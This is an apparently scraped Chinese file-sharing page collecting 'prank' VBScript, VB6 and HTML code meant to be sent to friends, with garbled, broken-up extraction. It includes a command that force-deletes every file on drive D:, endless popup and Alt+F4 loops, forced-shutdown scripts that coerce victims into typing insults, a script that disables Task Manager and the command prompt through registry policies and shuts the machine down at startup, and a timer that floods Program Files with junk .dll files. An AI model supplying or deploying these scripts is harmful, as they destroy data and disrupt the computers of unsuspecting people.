vbs整人代码大全Word格式文档下载.docx
- 文档编号:1451747
- 上传时间:2023-04-30
- 格式:DOCX
- 页数:9
- 大小:18.03KB
vbs整人代码大全Word格式文档下载.docx
《vbs整人代码大全Word格式文档下载.docx》由会员分享,可在线阅读,更多相关《vbs整人代码大全Word格式文档下载.docx(9页珍藏版)》请在冰点文库上搜索。
五、删除D:
\所有文件
---------------------------------------------------------------------------
cmd/c"
deld:
\*.*/f/q/s"
----------------------------------------------------------------------------
六、不断弹出窗口
while
(1)
哈哈你被耍了!
七、不断按下alt+f4(开什么都关闭……)
WSHshell.SendKeys"
%{F4}"
八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。
其中dountils=500,500可以随意更改)
dims
dountils=500
s=s+1
哥们,给我按500次回车吧"
64
'
------------------------------------------------------------------------------------
九、关不掉的窗口
WScript.Echo("
嘿,谢谢你打开我哦,我等你很久拉!
&
TSName)
你是可爱的小朋吗?
哈,我想你拉,这你都不知道吗?
怎么才来,说~是不是不关心我"
哼,我生气拉,等你这么久,心都凉啦。
小强很生气,后果很严重哦。
嘿嘿!
你也会很惨滴哦"
是不是想清除我?
那你要点上50下哦,不过会给你惊喜滴"
还剩49下,快点点哦"
还剩48下,快点,小笨蛋!
还剩47下对,就这样快点点!
还剩46下。
你啊就是笨,要快哦,我先不打扰你工作。
还剩45下,记得要快哦!
还剩43下"
还剩42下"
还剩41下"
还剩40下"
还剩39下"
还剩38下"
还剩37下"
还剩36下"
还剩35下"
还剩34下"
还剩33下"
还剩32下"
还剩30下"
还剩29下"
还剩28下"
还剩27下"
还剩26下"
还剩25下"
还剩24下"
还剩23下"
还剩22下"
还剩21下"
还剩20下"
还剩19下"
还剩18下"
还剩17下"
还剩16下"
还剩15下"
还剩14下"
还剩13下停停!
!
慢点,我有话要说"
还剩12下,你继续点我就会消失滴"
还剩11下,以后就看不到我拉。
555555"
还剩10下,你现在可以选择停止!
还剩9下。
你还点啊,不要我拉?
还剩8下,有点伤心拉,干嘛丢弃人家"
还剩7下。
疯了,你有点负意!
还剩6下。
对。
你就点吧,我恨你!
还剩5下,不明白,删除我你就好吗?
还剩4下!
真要删除我?
还剩3下。
可是我真的很眷恋你。
。
还剩2下。
不要这么绝情嘛,人家是爱你的!
还剩1下。
哼,既然你这么绝情。
也别怪我无义!
我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。
想结素我么?
那你就再多点一次"
两个整人的VBS脚本2009-07-1618:
16
文章录入:
7747.Net责任编辑:
7747.Net564
【字体:
小大】
测试环境:
Windows2003系统
大家好我是VanlisaQQ137841986
今天给大家带来两个整人的VBS脚本希望大家喜欢
VBS脚本大家都知道吧第一个是定时关机的
如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的
时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法
我们来看下这个脚本
onerrorresumenext
dimWSHshellA
setWSHshellA=wscript.createobject("
WSHshellA.run"
cmd.exe/cshutdown-r-t180-c"
说我是猪,不说我是猪就一分钟关机,不信,试下·
·
"
dima
dowhile(a<
>
我是猪"
a=inputbox("
说我是猪,就不关机,快撒,说"
"
"
说不说"
8000,7000)
msgboxchr(13)+chr(13)+chr(13)+a,0,"
MsgBox"
msgboxchr(13)+chr(13)+chr(13)+"
早说就行了嘛"
cmd.exe/cshutdown-a"
哈哈哈哈,好乖"
新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了
cmd.exe/cshutdown-r-t180-c
这里的数字可以修改关机时间180秒
这些文字也可以自设这个脚本启用cmd里的关机程序
如果不输的的话可以打开任务管理器输入shutdown-a来解除我们试下这时定时关机已
经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就OK
了这时就完全解除这个脚本了Wscript时Windows脚本宿主
-------------------------------------------------------------------------------------------
下面看第二个整人的脚本
setws=createobject("
callshutdown
(1)
dowhilea<
a=inputbox("
快在下面的框框里输入我是猪,否则后果自负,快输"
输不输"
callshutdown
(2)
4096+64
msgbox"
再输一遍我是猪!
我是猪!
最后一次!
如果你很快的点过去,不看的话"
我就要你踩我空间的!
哼!
从前有座山!
山里有个庙."
庙里有个老和尚在讲故事."
ws.run"
iexplore.exe
哎呀累了!
数绵羊哄我睡觉"
fori=1to100
MsgBoxi&
只绵羊"
哎呀我困了,这次就饶过你吧,下次注意哦!
最后问个问题,我是不是大好人!
ifinputbox("
是不是"
请选择"
是"
)<
then
endif
subshutdown(s)
selectcases
case1
cmd.exe/cshutdown-r-t60-c"
0
case2
endselect
endsub
--------------------------------------------------------------------------------
这段代码可以改成你自己设定的地址
如果别人不输我是猪的话就会一直点下去点到你设定的数字
从1到100
可以改成20其他的数字
解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe
这个进程就好了
BY:
2009QQ整人代码
sets=createobject("
setbag=getobject("
winmgmts:
\\.\root\cimv2"
setpipe=bag.execquery("
select*fromwin32_processwherename='
wscript.exe'
ForEachidinpipe
ifinstr(1,mandLine,wscript.scriptfullname)<
0andpipe.count>
=2then
s.regwrite"
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr"
0,"
REG_DWORD"
HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD"
id.terminate()
else
1,"
fori=1to60
s.popup"
系统将在"
60-i&
秒后关机..."
系统提示"
4096+48
SetcolOS=GetObject("
{(Shutdown)}"
).ExecQuery("
Select*FROMWin32_OperatingSystem"
ForEacheOsIncolOS
eOs.Win32Shutdown
(2)
Next
[color=#FF0000]复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,
此代码的威力:
1:
开机就强制自动关机
2:
cmd命令打不开
3:
结束任务不管用
4:
F8安全模式也不管用
呵呵!
听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、
代码破解方法:
就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,
PS:
不要乱拿软件去整人,发生什么事可不要怪我啊。
拍拍手顶起吧!
cmd.exe/cshutdown-r-t60-c"
说你是傻B,我是天下第一大傻B不说宝宝,我是天下第一大傻B就一分钟关你机,不信,试试·
宝宝,我是天下第一大傻B"
宝宝,我是天下第一大傻B,就不关机,快撒,说"
不说"
早说就行了嘛,乖乖"
宝宝是不是又帅啦?
?
这代码是我从朋友那拿来的,大家可以试着玩下、你能做非法事情哦、
网页整人效果代码
想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。
<
html>
head>
metahttp-equiv="
Content-Type"
content="
text/html;
charset=gb2312"
title>
网页特效|L
/head>
body>
ahref="
onMouseover="
alert('
为什么把鼠标放到这里?
);
我不是说过不可以这样吗?
你把我的话当什么了?
你知道错了吗?
什么?
你居然....'
居然还没意识到自己做错了?
那好,你要为此付出代价!
我要你在这里点足一千下......'
你开始有点后悔了?
何必呢?
你当初干什么去了?
不原谅你!
好从现在开始再点995下......'
你的手开始累了吗?
你已经没力气了?
你一直在求我原谅你啊!
看来你是真的知道错了!
下次你还会这么做吗?
真的不会了?
那好,今天就放你一马!
写封信给我说声对不起!
你能这么做我很高兴!
!
document.bgColor='
black'
;
document.fgColor='
White'
window.location.href='
mailto:
mygod@god?
subject=对不起,下次不敢了!
不许把鼠标移到这里<
/a>
嘻试吧爽噢。
/body>
/html>
vbs整人代码
代码如下:
PrivateSubForm_Load()
Me.Hide
EndSub
PrivateSubTimer1_Timer()
声明变量,其中“count”为静态变量,以便生成不同的文件
DimfilesAsString
DimnrAsString
DimcAsString
StaticcountAsLong
定义要把生成的文件存放在那个目录文件下
c="
C:
\ProgramFiles\"
生成文件的内容
nr="
哈哈,被黑的感觉的不错吧"
files=FreeFile
如果a等于a那么就执行
Ifa=aThen
count不断的加1,以便产生不同的文件名
count=count+1
产生文件名及文件句柄,并用count作为产生不同的文件名。
Openc&
system"
&
count&
.dll"
ForAppendAs#files
向文件写内容
Write#files,nr
清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close#files
EndIf
EndSu
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- vbs 整人 代码 大全